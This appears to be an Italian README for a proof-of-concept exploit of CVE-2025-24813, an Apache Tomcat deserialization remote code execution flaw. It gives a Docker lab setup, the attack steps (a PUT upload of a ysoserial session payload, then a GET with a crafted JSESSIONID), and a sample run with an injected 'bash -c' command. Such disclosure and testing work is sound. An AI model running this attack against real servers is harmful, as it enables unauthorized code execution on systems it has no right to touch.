CVE-2025-24813

Script di Proof of Concept (PoC) per CVE-2025-24813, vulnerabilità in Apache Tomcat.

Il script è stato modificato basandosi sul link correlato e adattato alle mie esigenze.

Configurazione dell'ambiente Tomcat vulnerabile

Ambiente basato sull'immagine ufficiale Tomcat 9.0.90. Rimuove la restrizione di sola lettura del server e lo configura per salvare i dati di sessione su disco. Successivamente, distribuisce automaticamente l'applicazione copiando il file ROOT.war nella directory webapps di Tomcat.

docker build -t cve-2025-24813 .
docker run --name cve-2025-24813 -it -d -p 8080:8080 cve-2025-24813

Flusso di lavoro

1. Viene inserito un file check.txt con l'intestazione Content-Range per verificare se il server accetta richieste PUT.
2. Se il server è scrivibile, viene generato un payload per il comando desiderato utilizzando ysoserial.
3. Il file di sessione malevolo viene caricato nella directory tramite una richiesta PUT, collegandolo all'ID di sessione e al nome del file.
4. Viene inviata una richiesta GET con un JSESSIONID personalizzato, innescando la deserializzazione.
5. Il file del payload temporaneo viene eliminato dalla directory.

Utilizzo

$ python3 cve_2025_24813.py

██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ███████╗      ██████╗ ██╗  ██╗ █████╗  ██╗██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝      ╚════██╗██║  ██║██╔══██╗███║╚════██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗███████║      ███████╗     ██║╚█████╔╝ ██║██████╔╝
╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚══════╝      ╚══════╝     ╚═╝ ╚════╝  ╚═╝╚═════╝
 
                 --- Apache Tomcat Remote Code Execution PoC by Hakan Karabacak ---

Enter target URL (e.g., http://target.com:8080): http://target.com:8080
Enter command to execute (default: bash -c echo${IFS}$(id)>/tmp/RCE): 
Enter path to ysoserial.jar (default: ysoserial.jar): 
Enter ysoserial gadget chain (default: CommonsCollections6): 
[*] Session ID: hk1337
[+] Server is writable via PUT: http://target.com:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/RCE
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://target.com:8080/hk1337.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://target.com:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser

PoC

https://github.com/user-attachments/assets/5a271e6f-1126-459a-852b-603f39a68616